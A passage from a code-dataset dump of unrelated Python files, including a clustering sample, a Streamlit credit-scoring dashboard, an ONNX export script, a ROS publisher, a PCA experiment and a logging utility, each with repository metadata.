kmeans.labels_\n      sil.append(silhouette_score(df, labels, metric = 'euclidean'))\n    plt.plot(range(2, 11), sil)\n    plt.title('Silhouette Method')\n    plt.xlabel('Number of clusters')\n    plt.ylabel('Sil Score')\n    plt.show()\n\nshow_sil(df_ndarray)\n\n# Step 6 - Create cluster assignments\nN=3\n#N=4 # For the best score in sil method with the outlier dataset\ndef cluster_kmeans(df, N):   \n    kmeans = KMeans(n_clusters=N, init='k-means++', max_iter=300, n_init=10, random_state=0)\n    labels = kmeans.fit_predict(df)\n    centers_x = kmeans.cluster_centers_[:, 0]\n    centers_y = kmeans.cluster_centers_[:, 1]\n    return labels, centers_x, centers_y\n\nlabels, centers_x, centers_y=cluster_kmeans(df,N)\n# here the output is the assignments on the labeled clusters\n# Uncomment the line below to see that the assignments are integers like 0,1,2\n# print(labels)\n# Let's display the cluster centers\nplt.scatter(df.X, df.Y, c=labels, cmap='viridis', edgecolor='k')\n# For alternate colormaps\n# https://matplotlib.org/examples/color/colormaps_reference.html\nplt.title(\"Cluster centers on original data\")\nplt.xlabel(\"X Values\")\nplt.ylabel(\"Y Values\")\nplt.scatter(centers_x, centers_y, s=300, c='red')\nplt.show()\ninput(\"Done.\")","repo_name":"boragungoren-portakalteknoloji/METU-BA4318-Fall2019","sub_path":"Week 9 - Clustering/Clustering Sample.py","file_name":"Clustering Sample.py","file_ext":"py","file_size_in_byte":4663,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"38"}
{"seq_id":"6538551703","text":"from pygame_gui.elements.ui_text_box import UITextBox\nfrom pygame_gui.core import ObjectID\n\nfrom .common import create_rect\n\nclass TextBox():\n    \"\"\"Implements a text box\"\"\"\n\n    def __init__(self, location, size, title, text, ui_manager):\n        self.box = UITextBox('<font face=Montserrat size=2 color=#000000><b>' + title + '</b>'\n                             '<br><br>'\n                             '<body>' + text + '</body>',\n                             create_rect(location, size),\n                             manager=ui_manager,\n                             object_id=ObjectID(class_id=\"white_text_box\", object_id=\"#text_box_2\"))\n    \n    def set_effect(self, effect):\n        \"\"\"Sets a text effect to the text box\"\"\"\n        self.box.set_active_effect(effect)\n","repo_name":"sapoxixi/greenField","sub_path":"utils/text_box.py","file_name":"text_box.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"190754107","text":"import json\r\nimport pickle\r\nfrom urllib.request import urlopen\r\n\r\nimport altair as alt\r\nimport lightgbm as lgb\r\nimport pandas as pd\r\nimport shap\r\nimport streamlit as st\r\nfrom matplotlib import pyplot as plt\r\n\r\nEND_POINT = 'http://127.0.0.1:5000/'\r\n\r\n\r\n@st.cache\r\ndef load_main_data():\r\n    \"\"\"\r\n\r\n    :return: the sample data frame from backend\r\n    \"\"\"\r\n    json_url = urlopen(END_POINT + 'get_clients_df')\r\n    data = json.loads(json_url.read())\r\n    return pd.read_json(data)\r\n\r\n\r\n@st.cache\r\ndef load_all_clients():\r\n    \"\"\"\r\n\r\n    :return: all clients ids from backend\r\n    \"\"\"\r\n    json_url = urlopen(END_POINT + 'get_all_clients')\r\n    return json.loads(json_url.read())\r\n\r\n\r\n@st.cache\r\ndef load_stats():\r\n    \"\"\"\r\n\r\n    :return: stats data from backend\r\n    \"\"\"\r\n    json_url = urlopen(END_POINT + 'get_stats')\r\n    data = json.loads(json_url.read())\r\n    return pd.read_json(data)\r\n\r\n\r\n@st.cache\r\ndef load_model():\r\n    \"\"\"\r\n\r\n    :return: loading the model\r\n    \"\"\"\r\n    return pickle.load(open('../output/best_estimator.pkl', 'rb'))\r\n\r\n\r\n@st.cache\r\ndef load_shap_explainer():\r\n    \"\"\"\r\n\r\n    :return: a built shap explainer\r\n    \"\"\"\r\n    data = load_main_data()\r\n    data = data.drop(columns=['PREDICT', 'PREDICT_PROBA', 'SK_ID_CURR'])\r\n    explainer = shap.TreeExplainer(load_model())\r\n    shap_values = explainer.shap_values(data)\r\n    return explainer, shap_values\r\n\r\n\r\ndef get_lime_data(id):\r\n    \"\"\"\r\n\r\n    :param id: the client id\r\n    :return: the lime explanation for top features\r\n    \"\"\"\r\n    json_url = urlopen(END_POINT + 'get_lime/' + str(id))\r\n    return pd.read_json(json.loads(json_url.read()))\r\n\r\n\r\ndef get_client_prediction(id):\r\n    \"\"\"\r\n\r\n    :param id: client id\r\n    :return: prediction / prediction proba for the client\r\n    \"\"\"\r\n    json_url = urlopen(END_POINT + 'get_client_prediction/' + str(id))\r\n    return json.loads(json_url.read())\r\n\r\n\r\ndef get_knn_data(id):\r\n    \"\"\"\r\n\r\n    :param id: the client id\r\n    :return: the nearest neighbors avergage on different features\r\n    \"\"\"\r\n    json_url = urlopen(END_POINT + 'get_knn/' + str(id))\r\n    return pd.read_json(json.loads(json_url.read()))\r\n\r\n\r\ndef build_stats_data_frame(id, features, data):\r\n    \"\"\"\r\n\r\n    :param id: the client ids\r\n    :param features: the columns on which display stats (lime data)\r\n    :param data: the whole dataframe\r\n    :return: a stats dataframe built to display a chart\r\n    \"\"\"\r\n    df = pd.DataFrame(columns=['Feature', 'Type', 'Mean'])\r\n    knn_df = get_knn_data(id)\r\n    stats_df = load_stats()\r\n    client_data = data[data['SK_ID_CURR'] == id]\r\n    i = 0\r\n    predict = get_client_prediction(id)['prediction']\r\n    stats_for_same_profile = stats_df[stats_df['TYPE'] == str(predict)]\r\n    stats_for_all = stats_df[stats_df['TYPE'] == 'ALL']\r\n    for feature in features:\r\n        df.loc[i] = [feature, 'Client', client_data[feature].iloc[0]]\r\n        i += 1\r\n        df.loc[i] = [feature, 'Near clients', knn_df[feature].iloc[0]]\r\n        i += 1\r\n        df.loc[i] = [feature, 'Same clients', stats_for_same_profile[feature].iloc[0]]\r\n        i += 1\r\n        df.loc[i] = [feature, 'All clients', stats_for_all[feature].iloc[0]]\r\n        i += 1\r\n\r\n    return df\r\n\r\n\r\ndef main():\r\n    # add a title\r\n    st.title('Prêt à dépenser : Implémenter un modèle de scoring')\r\n    st.subheader('By Salaheddine E.G : Openclassroom student')\r\n\r\n    # data preview\r\n    data = load_main_data()\r\n    st.subheader('Apercu des données')\r\n    st.write('Aperçu des données pour les gens éligibles à un crédit : ')\r\n    st.write(data.head(5))\r\n    st.write('...Et pour ceux pas éligibles : ')\r\n    st.write(data.tail(5))\r\n\r\n    # get data from api to choose a client\r\n    all_clients = load_all_clients()\r\n    st.subheader('Affichage des données pour un client')\r\n\r\n    id = st.selectbox('Choisissez un client : ', all_clients)\r\n    # display the prediction proba\r\n    predict = get_client_prediction(id)\r\n    st.info('Probabilité de défaut du client %.2f %%' % (predict['prediction_proba'] * 100))\r\n\r\n    # Display lime explainer using altair chart\r\n    st.subheader('Explication lime du résultat pour le client')\r\n    lime_data = get_lime_data(id)\r\n    lime_data.dropna(how='all', axis=1, inplace=True)\r\n    lime_draw = lime_data.T\r\n    lime_draw.rename(columns={lime_draw.columns[0]: 'value'}, inplace=True)\r\n    lime_draw['feature'] = lime_draw.index\r\n\r\n    st.write(alt.Chart(lime_draw).mark_bar().encode(\r\n        x='value',\r\n        y='feature',\r\n        color=alt.condition(\r\n            alt.datum.value > 0,\r\n            alt.value('coral'),  # The positive color\r\n            alt.value('green')  # The negative color\r\n        )\r\n    ).properties(width=600, height=400))\r\n\r\n    # display clients data vs similar clients, clients with the same target value, and vs all clients\r\n    st.subheader('Comparaison du résultat de clients par rapport à d\\'autres clients')\r\n    stats = build_stats_data_frame(id, lime_data.columns, data)\r\n\r\n    first_features = lime_data.columns[0:5]\r\n    last_features = lime_data.columns[5:]\r\n\r\n    st.write(alt.Chart(stats[stats['Feature'].isin(first_features)]).mark_bar().encode(\r\n        x='Type:N',\r\n        y='Mean:Q',\r\n        color='Type:N',\r\n        column='Feature:N'\r\n    ).properties(width=200, height=400))\r\n\r\n    st.write(alt.Chart(stats[stats['Feature'].isin(last_features)]).mark_bar().encode(\r\n        x='Type:N',\r\n        y='Mean:Q',\r\n        color='Type:N',\r\n        column='Feature:N'\r\n    ).properties(width=200, height=400))\r\n\r\n    # display lgb model importance\r\n    st.subheader('Explication du modèle ')\r\n    model = load_model()\r\n    lgb.plot_importance(model, max_num_features=10)\r\n    plt.title('Light GBM importance')\r\n    st.pyplot(bbox_inches='tight')\r\n    plt.clf()\r\n\r\n    # display shap explanation\r\n    st.subheader('Explication du modèle en utilisant SHAP')\r\n    explainer, shap_values = load_shap_explainer()\r\n    plt.title('Importance des features en utilisant shap')\r\n    shap_data = data.drop(columns=['PREDICT', 'PREDICT_PROBA', 'SK_ID_CURR'])\r\n    shap.summary_plot(shap_values, shap_data, plot_type=\"bar\", show=False)\r\n    st.pyplot(bbox_inches='tight')\r\n    plt.clf()\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"Katikatikou/P7-Openclassroom","sub_path":"web/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":6214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"69909050672","text":"#!/usr/bin/env python3\n\nimport sys\n\nsys.path.insert(0, \"VITS-fast-fine-tuning\")\n\nimport os\nfrom typing import Any, Dict\n\nimport onnx\nimport torch\nimport utils\nfrom models import SynthesizerTrn\n\n\nclass OnnxModel(torch.nn.Module):\n    def __init__(self, model: SynthesizerTrn):\n        super().__init__()\n        self.model = model\n\n    def forward(\n        self,\n        x,\n        x_lengths,\n        noise_scale=1,\n        length_scale=1,\n        noise_scale_w=1.0,\n        sid=0,\n        max_len=None,\n    ):\n        return self.model.infer(\n            x=x,\n            x_lengths=x_lengths,\n            sid=sid,\n            noise_scale=noise_scale,\n            length_scale=length_scale,\n            noise_scale_w=noise_scale_w,\n            max_len=max_len,\n        )[0]\n\n\ndef add_meta_data(filename: str, meta_data: Dict[str, Any]):\n    \"\"\"Add meta data to an ONNX model. It is changed in-place.\n\n    Args:\n      filename:\n        Filename of the ONNX model to be changed.\n      meta_data:\n        Key-value pairs.\n    \"\"\"\n    model = onnx.load(filename)\n    for key, value in meta_data.items():\n        meta = model.metadata_props.add()\n        meta.key = key\n        meta.value = str(value)\n\n    onnx.save(model, filename)\n\n\ndevice = \"cpu\"\n\n\n@torch.no_grad()\ndef main():\n    name = os.environ.get(\"NAME\", None)\n    if not name:\n        print(\"Please provide the environment variable NAME\")\n        return\n\n    print(\"name\", name)\n\n    model_path = f\"G_{name}_latest.pth\"\n    config_path = f\"G_{name}_latest.json\"\n\n    hps = utils.get_hparams_from_file(config_path)\n    net_g = SynthesizerTrn(\n        len(hps.symbols),\n        hps.data.filter_length // 2 + 1,\n        hps.train.segment_size // hps.data.hop_length,\n        n_speakers=hps.data.n_speakers,\n        **hps.model,\n    )\n    _ = net_g.eval()\n    _ = utils.load_checkpoint(model_path, net_g, None)\n\n    x = torch.randint(low=1, high=50, size=(50,), dtype=torch.int64)\n    x = x.unsqueeze(0)\n\n    x_length = torch.tensor([x.shape[1]], dtype=torch.int64)\n    noise_scale = torch.tensor([1], dtype=torch.float32)\n    length_scale = torch.tensor([1], dtype=torch.float32)\n    noise_scale_w = torch.tensor([1], dtype=torch.float32)\n    sid = torch.tensor([0], dtype=torch.int64)\n\n    model = OnnxModel(net_g)\n\n    opset_version = 13\n\n    filename = f\"vits-zh-hf-fanchen-{name}.onnx\"\n\n    torch.onnx.export(\n        model,\n        (x, x_length, noise_scale, length_scale, noise_scale_w, sid),\n        filename,\n        opset_version=opset_version,\n        input_names=[\n            \"x\",\n            \"x_length\",\n            \"noise_scale\",\n            \"length_scale\",\n            \"noise_scale_w\",\n            \"sid\",\n        ],\n        output_names=[\"y\"],\n        dynamic_axes={\n            \"x\": {0: \"N\", 1: \"L\"},  # n_audio is also known as batch_size\n            \"x_length\": {0: \"N\"},\n            \"y\": {0: \"N\", 2: \"L\"},\n        },\n    )\n    meta_data = {\n        \"model_type\": \"vits\",\n        \"comment\": f\"hf-vits-models-fanchen-{name}\",\n        \"language\": \"Chinese\",\n        \"add_blank\": int(hps.data.add_blank),\n        \"n_speakers\": int(hps.data.n_speakers),\n        \"sample_rate\": hps.data.sampling_rate,\n        \"punctuation\": \", . : ; ! ? ， 。 ： ； ！ ？ 、\",\n    }\n    print(\"meta_data\", meta_data)\n    add_meta_data(filename=filename, meta_data=meta_data)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"csukuangfj/models","sub_path":".github/scripts/export-onnx-zh-hf-fanchen-models.py","file_name":"export-onnx-zh-hf-fanchen-models.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"26435741800","text":"import argparse\nimport pika\nimport pathlib\nimport os\nimport sys\n\nsys.path.append(\"..\")\nfrom common.settings import cfg\n\nfrom slicer import Score, Slice\nfrom pymongo import MongoClient\n\n\nparser = argparse.ArgumentParser(description='Get image slices from .mei music scores, given that the images are in the same folder as the .mei file.')\nparser.add_argument('path', type=str, help='Path to the main directory of the score')\nparser.add_argument('-o','--output', type=str, help='Output path, if not given it will create a folder called \"slices\" at the same location as the .mei file.')\nparser.add_argument('-s','--store_in_db', action=\"store_true\", help=\"Store whatever slices are being created in mongo db, uses address and collection names from config.\")\nparser.add_argument('-q','--message_queue', type=str, help=\"Create a message queue entry, uses address and queue names from config.\")\n\ngroup = parser.add_mutually_exclusive_group()\ngroup.add_argument('-a','--all', nargs='?', const=True, type=bool, help='Create all single measures, double measures, and lines.')\ngroup.add_argument('-l','--line', nargs='?', const=-1, type=int, help='Create all lines, or create a single line if an index is given.')\ngroup.add_argument('-m','--measure', nargs='?', const=-1, type=int, help='Create all measures, or create a single measure if an index is given.')\n\n\nargs = parser.parse_args()\n\nscore = Score(args.path)\n\nout_path = f\"{args.path}{os.path.sep}slices{os.path.sep}\"\nmeasure_path = f\"{out_path}measures{os.path.sep}\"\nline_path = f\"{out_path}lines{os.path.sep}\"\ndouble_measure_path = f\"{out_path}double_measures{os.path.sep}\"\n\nif args.output:\n    out_path = output\n\nstored_slices = []\ndef save_slice(score_slice, path):\n    stored_slices.append(score_slice)\n    pathlib.Path(path).mkdir(parents=True, exist_ok=True)\n    score_slice.get_image().save(path + score_slice.get_name())\n\nif args.all or args.measure == -1:\n    for score_slice in score.get_measure_slices():\n        save_slice(score_slice, measure_path)\n\nif args.all:\n    for score_slice in score.get_measure_slices(2):\n        if score_slice.same_page:\n            save_slice(score_slice, double_measure_path)\n\nif args.all or args.line == -1:\n    for score_slice in score.get_line_slices():\n        save_slice(score_slice, line_path)\n\nif args.measure != None and args.measure >= 0:\n    for score_slice in score.get_measure_slices(start=args.measure, end=args.measure+1):\n        save_slice(score_slice, measure_path)\n\nif args.line != None and args.line >= 0 and args.line < score.get_line_count():\n    for score_slice in score.get_line_slices(start=args.line, end=args.line+1):\n        save_slice(score_slice, measure_path)\n\nif args.store_in_db:\n    address = cfg.mongodb_address\n    client = MongoClient(address.ip, address.port)\n    db = client[cfg.db_name]\n\n    res = db[cfg.col_score].insert_one(score.to_db_dict())\n    print(f\"added entry {res.inserted_id} to scores collection\")\n    for score_slice in stored_slices:\n        res = db[cfg.col_slice].insert_one(score_slice.to_db_dict())\n        print(f\"added entry {res.inserted_id} to slices collection\")\n\nif args.message_queue:\n    address = cfg.rabbitmq_address\n    connection = pika.BlockingConnection(pika.ConnectionParameters(address.ip, address.port))\n    channel = connection.channel()\n    channel.queue_declare(queue=cfg.mq_score)\n    channel.basic_publish(exchange='', routing_key=cfg.mq_score, body=json.dumps({\"name\": score.name}))\n    print(f\"Published processed score {score.name} to message queue!\")\n    connection.close()","repo_name":"cakefm/crowd_task_manager","sub_path":"slicer/slicer_terminal.py","file_name":"slicer_terminal.py","file_ext":"py","file_size_in_byte":3548,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"72775335471","text":"#!/usr/bin/env python\n\"\"\"\nThis file contains the Publisher class that can publish rostopic messages.\nUsage: create a new instance of the Publisher class,\nregister a topic and publish through it.\n\"\"\"\n\nimport rospy\n\n\nclass Publisher(object):\n    \"\"\"\n    Topic publishing class.\n    \"\"\"\n\n    def __init__(self):\n        \"\"\"\n        Create a container that can hold all the topic publisher handles.\n        \"\"\"\n        self.pub_dict = {}\n\n    def register_topic(self, topic: str, msg_type) -> None:\n        \"\"\"\n        Adds a topic to our pub handle dict and\n        automatically creates the ROS publisher object.\n        Args:\n            topic (str): the full topic name.\n            msg_type (Message Class): the type of message that will be sent.\n        \"\"\"\n        if topic not in self.pub_dict:\n            self.pub_dict[topic] = rospy.Publisher(topic, msg_type, queue_size=10)\n\n    def publish(self, topic: str, *args, **kwargs) -> None:\n        \"\"\"\n        Sends off the message via ROS central message broker.\n        Args:\n            topic (str): the full topic name.\n            args/kwargs (optional): the message data/content.\n        \"\"\"\n        if topic not in self.pub_dict:\n            rospy.logerr(\"Topic %s has not been registered with publisher yet!\", topic)\n            return\n\n        rospy.logdebug(\"Publishing topic \" + topic +\n                       \" with args \" + str(args) +\n                       \" and kwargs \" + str(kwargs))\n        self.pub_dict[topic].publish(*args, **kwargs)\n","repo_name":"AnneWendt/Frankenstein","sub_path":"frankenstein-main/src/mouth.py","file_name":"mouth.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"18965622715","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 26 22:44:22 2022\n\n@author: WILL LIU\n\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom oja import *\nfrom sklearn.decomposition import PCA\n\n#load cifar data\nx = tf.keras.datasets.cifar10.load_data()[0][0]\n\n#flatten the data\nx = x.reshape(-1,32*32*3)\nx = x/255\nn_features = 32*32*3\nnum = 3\n\n#centralize the data\nxn = x-np.mean(x,axis=0)\nit = 1000\n\n#Built-in PCA\npca_obj = PCA(n_components=(n_features))\npca_obj.fit(x)\npca = pca_obj.components_.T[:,:num]\n\n#plot the eigenvalue ratio\nfig = plt.figure()\nax = fig.add_axes([0,0,1,1])\nax.bar(list(range(1,11)),pca_obj.explained_variance_ratio_[:10]*100)\nplt.plot(list(range(1,11)),[sum(pca_obj.explained_variance_ratio_[:i+1])*100 for i in range(10)])\nplt.ylabel('percentage variance ratio')\nplt.xlabel('i th eigenvalue')\nplt.legend(['eigen value ratio','cumulative eigen value ratio'])\nplt.show()\n\n#initialzation\nerror_mat = np.zeros((it,num))\nvar_mat = np.zeros((it,num))\nV = np.random.randn(n_features,num)\nV,_ = np.linalg.qr(V, mode='reduced')\nvar_mat[0,:] = np.diag(V.T@xn.T@xn@V/50000)\nerror_mat[0,:] = np.abs(var_mat[0,:]-pca_obj.explained_variance_[:num])\n\n#Oja\nfor i in range(it):\n    print(i)\n    V = ojafunc(xn[i*10:(i+1)*10,:], V ,0.0001)\n    var_mat[i,:] = np.diag(V.T@xn.T@xn@V/50000)\n    error_mat[i,:] = np.abs(var_mat[i,:]-pca_obj.explained_variance_[:num])\n\n#set plot colour\ncolor_list=['blue','g','r']\n\n#error plot\nfor i in range(num):\n    plt.plot(np.array(range(it))*10,error_mat[:,i],color=color_list[i],label='{}th'.format(i+1))\nplt.title('Error plot')\nplt.xlabel('Iteration')\nplt.ylabel('Error')\nplt.legend()\nplt.show()\n\n\n#variance plot\nfor i in range(num):\n    plt.plot(np.array(range(it))*10,var_mat[:,i],color=color_list[i],label='{}th streaming'.format(i+1))\n    plt.plot([0,it*10],[pca_obj.explained_variance_[i],pca_obj.explained_variance_[i]],color=color_list[i],linestyle='dashed',label='{}th theoretical'.format(i))\n\nplt.title('Variance plot')\nplt.xlabel('Iteration')\nplt.ylabel('Variance')\nplt.legend()\nplt.show()\n\n\n\n\n\n","repo_name":"WilliamLiu666/M4R_PCA","sub_path":"pca cifar.py","file_name":"pca cifar.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"73444987952","text":"# In[44]: Soal1\n\nimport pandas as habib #melakukan import pada library pandas sebagai habib\n\nmobil = {\"Nama Mobil\" : ['Ferrari','Lamborgini',]} #membuat varibel yang bernama mobil\nx = habib.DataFrame(mobil) #variabel x membuat DataFrame dari library pandas dan akan memanggil variabel mobil. \nprint (' Habib Mempunyai Mobil ' + x) #print hasil dari x\n\n# In[44]: Soal2\n\nimport numpy as habib #melakukan import numpy sebagai habib\n\nmatrix_x = habib.eye(16) #membuat matrix dengan numpy dengan menggunakan fungsi eye\nmatrix_x #deklrasikan matrix_x yang telah dibuat\n\nprint (matrix_x) #print matrix_x yang telah dibuat dengan 10x10\n\n\n# In[44]: Soal3\n\nimport matplotlib.pyplot as habib #import matploblib sebagai habib\n\nhabib.plot([1,3,5,4,0,6,1]) #memberikan nilai plot atau grafik pada habib\nhabib.xlabel('Habib Abdul Rasyid') #memberikan label pada x\nhabib.ylabel('1174002') #memberikan label pada y\nhabib.show() #print hasil plot berbentuk grafik","repo_name":"KecerdasanBuatan17/KB3A","sub_path":"src/1174002/tugas3/soal.py","file_name":"soal.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"19292024626","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport math\r\n\r\n'''\r\ndef f(x): \r\n    if x<-10 or x>10:\r\n        return np.inf\r\n    return -0.5*math.log(1*(x--11))+-0.5*math.log(1*(-x+11)) +-0.1*x #x**4 #x**2\r\n    \r\ndef g(x): return -0.5*1/(1*(x--11))+0.5*1/(1*(-x+11)) -0.1 #4*x**3 #2*x\r\n\r\ndef h(x): return 0.5*1/((1*(x--11))**2)+0.5*1/((1*(-x+11))**2)  #4*x**3 #2*x\r\n'''\r\n\r\ndef f(x): \r\n    if x<-100 or x>100:\r\n        return np.inf\r\n    return 1/(x--101)+1/(-x+101) +-0.01*x #x**4 #x**2\r\n    \r\ndef g(x): \r\n    if x<-100: \r\n        x=-100\r\n    if x>100:\r\n        x=100\r\n    return -1/((x--101)**2)+1/((-x+101)**2) -0.01 #4*x**3 #2*x\r\n\r\ndef h(x): \r\n    if x<-100: \r\n        x=-100\r\n    if x>100:\r\n        x=100\r\n    return 2/((x--101)**3)+2/((-x+101)**3) #4*x**3 #2*x\r\n\r\nx=np.arange(-100,100,0.1)\r\ny=np.zeros(len(x))\r\nfor i in range(0,len(x)):\r\n    #print(x[i])\r\n    y[i]=g(x[i])\r\n\r\nplt.plot(x,y)\r\nplt.show()\r\n#exit(1)\r\n\r\ny=(x--10)*-10+100\r\n#plt.plot(x,y)\r\n#plt.show()\r\n\r\n#y=x^2\r\n#dy/dx=2x\r\n\r\narr=[]\r\n\r\nx=-1\r\ny=-1\r\nini_x=-99.9\r\n\r\ny=f(ini_x)\r\narr.append(y)\r\nfor i in range(0,50):\r\n    \r\n    ini_x=ini_x-g(ini_x)/h(ini_x)\r\n    \r\n    if ini_x<-100: \r\n        ini_x=-100\r\n    if ini_x>100:\r\n        ini_x=100\r\n        \r\n    y=f(ini_x)\r\n    print(y)\r\n    arr.append(y)\r\n\r\nplt.figure()\r\nplt.plot(arr)\r\nplt.show()\r\n\r\nnp.save('new.npy',arr)\r\n\r\n'''\r\n    grad=g(ini_x)\r\n    grad=grad/3 #3\r\n    \r\n    if grad==0:\r\n        break\r\n        \r\n    start_x=ini_x\r\n    start_y=f(ini_x)\r\n    \r\n    if grad>=0:\r\n        ini_x=ini_x-0.01\r\n    elif grad<0:\r\n        ini_x=ini_x+0.01\r\n    \r\n    ini_y=f(ini_x)\r\n    \r\n    \r\n    \r\n    \r\n    for j in range(0,100):\r\n        print(j)\r\n        if j!=0 and ini_y<(f(ini_x)):\r\n            ini_x=pre_ini_x\r\n            break;\r\n        if j>=3 and ((arr[-1]-arr[-2])>(arr[-2]-arr[-3])):\r\n            ini_x=pre_ini_x\r\n            break;\r\n            \r\n        ini_y=f(ini_x)\r\n        \r\n        if j!=0:\r\n            a=np.array([ini_x,x])\r\n            b=np.array([ini_y,y])\r\n            plt.plot(a,b)\r\n        \r\n        y=f(ini_x)\r\n        x=start_x+(y-start_y)/grad\r\n        \r\n        a=np.array([ini_x,x])\r\n        b=np.array([y,y])\r\n        plt.plot(a,b)\r\n        \r\n        if j==0:\r\n            first_x=x\r\n            first_y=y\r\n        last_x=x\r\n        last_y=y\r\n        \r\n        #print(y)\r\n        print(x)\r\n        plt.scatter(x,y)\r\n        pre_ini_x=ini_x\r\n        ini_x=x\r\n        #print('x='+str(ini_x))\r\n        print('y='+str(ini_y))\r\n        arr.append(y)\r\n        \r\n    plt.plot([first_x,last_x],[first_y,last_y])\r\nplt.show()\r\n\r\nplt.plot(arr)\r\nplt.show()\r\n\r\nplt.plot(np.log(arr-np.min(arr)+0.01))\r\nplt.show()\r\n'''\r\n","repo_name":"singkuangtan/fixedpointdesc","sub_path":"newton_method.py","file_name":"newton_method.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"23175989196","text":"import logging\nfrom logging.handlers import TimedRotatingFileHandler\nimport sys\nimport os\nfrom datetime import datetime, date, timedelta\nimport fnmatch\n\nformatter = logging.Formatter('%(asctime)s - %(levelname)s - %(threadName)s - %(filename)s - %(funcName)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\nlogger_dir = os.getcwd()+os.path.sep+\"logs\"+os.path.sep\n\n\ndef setup_logger(name, level=logging.INFO):\n    \"\"\"To setup more than one logger with different output files\"\"\"\n    #handler = logging.FileHandler(logger_dir+'{:%Y-%m-%d}_{}.log'.format(datetime.now(),name), 'a')   \n    handler = TimedRotatingFileHandler(logger_dir+'{}.log'.format(name),when='midnight',interval=1)\n    handler.suffix = \"%Y-%m-%d\" # or anything else that strftime will allow    \n    handler.setFormatter(formatter)\n    logger = logging.getLogger(name)\n    logger.setLevel(level)\n    logger.addHandler(handler)\n    return logger\n\ndef get_root_logger():\n    root = logging.getLogger()\n    root.setLevel(logging.DEBUG)\n\n    #on console output\n    stream_handler = logging.StreamHandler(sys.stdout)\n    stream_handler.setLevel(logging.ERROR)\n    stream_handler.setFormatter(formatter)\n    root.addHandler(stream_handler)\n    #persist as log file\n    #file_handler = logging.FileHandler(logger_dir+'{:%Y-%m-%d}_mal2-all-log.log'.format(datetime.now()), 'a') \n    file_handler = TimedRotatingFileHandler(logger_dir+'mal2-all-log.log',when='midnight',interval=1)       \n    file_handler.setFormatter(formatter)\n    file_handler.setLevel(logging.DEBUG)\n    root.addHandler(file_handler)\n\ndef init():\n    if not os.path.exists(logger_dir):\n        #create log output dir\n        print(\"creating log output dir: {}\".format(logger_dir))\n        os.mkdir(logger_dir)\n\n    get_root_logger()\n    setup_logger('mal2-model-log', level=logging.INFO)\n    setup_logger('mal2-rest-log', level=logging.INFO)\n    setup_logger('mal2-fakeshopdb-log', level=logging.INFO) #logger for fake-shop db and all other datasources\n\n\ndef check_and_throw_away_logs():\n    def get_key_name(timestamp:date)->str:\n        \"\"\"[returns '%Y-%m-%d' from date which is used as key_name for that day\n        Args:\n            timestamp (date): [any given date]\n        \"\"\"\n        return timestamp.strftime('%Y-%m-%d')\n\n    print(\"checking logfile cleanup jobs. current date: {}\".format(get_key_name(datetime.now() - timedelta(days=0))))\n    #check for log files dating back 14-365 days from now \n    for i in range(14, 365):\n        #log files: keys contain a pattern as e.g. 2020-09-26\n        key_name = get_key_name(datetime.now() - timedelta(days=i))\n        #search for keys and delete\n        for filename in os.listdir(logger_dir):\n            if fnmatch.fnmatch(filename, \"*\"+key_name):\n                os.remove(logger_dir+filename)\n                print(\"logfile cleanup job deleted file: {}\".format(logger_dir+filename))\n\n\n#all available loggers\nmal2_model_log = logging.getLogger('mal2-model-log')\nmal2_rest_log = logging.getLogger('mal2-rest-log')\nmal2_fakeshop_db_log = logging.getLogger('mal2-fakeshopdb-log')","repo_name":"mal2-project/fake-shop-detection_detector-api","sub_path":"backend-api-server/swagger_server/logger_config.py","file_name":"logger_config.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71995806511","text":"# POTD October 16, 2023\n# Pascal's Triangle II\n# Link - https://leetcode.com/problems/pascals-triangle-ii/description/?envType=daily-question&envId=2023-10-16\n\nclass Solution:\n    def getRow(self, rowIndex: int) -> List[int]:\n        \"\"\"\n        This function returns the `rowIndex`th row of Pascal's triangle.\n\n        Args:\n            rowIndex: The index of the row to be returned.\n\n        Returns:\n            A list of integers representing the `rowIndex`th row of Pascal's triangle.\n        \"\"\"\n\n        # Take an empty array as the output.\n        res = []\n\n        # Initialize the first element of the row to 1.\n        prev = 1\n        res.append(prev)\n\n        # Iterate over the remaining elements of the row.\n        for i in range(1, rowIndex + 1):\n\n            # Calculate the current element using the formula `nCr = (nCr - 1 * (n - r + 1)) / r`.\n            curr = (prev * (rowIndex - i + 1)) // i\n            res.append(curr)\n\n            # Update the previous element for the next iteration.\n            prev = curr\n\n        # Return the output array.\n        return res\n","repo_name":"Panchajanya1999/Programmings","sub_path":"LC-POTD/2023/October/16-10-23/POTD_pascal_triangle_II.py","file_name":"POTD_pascal_triangle_II.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
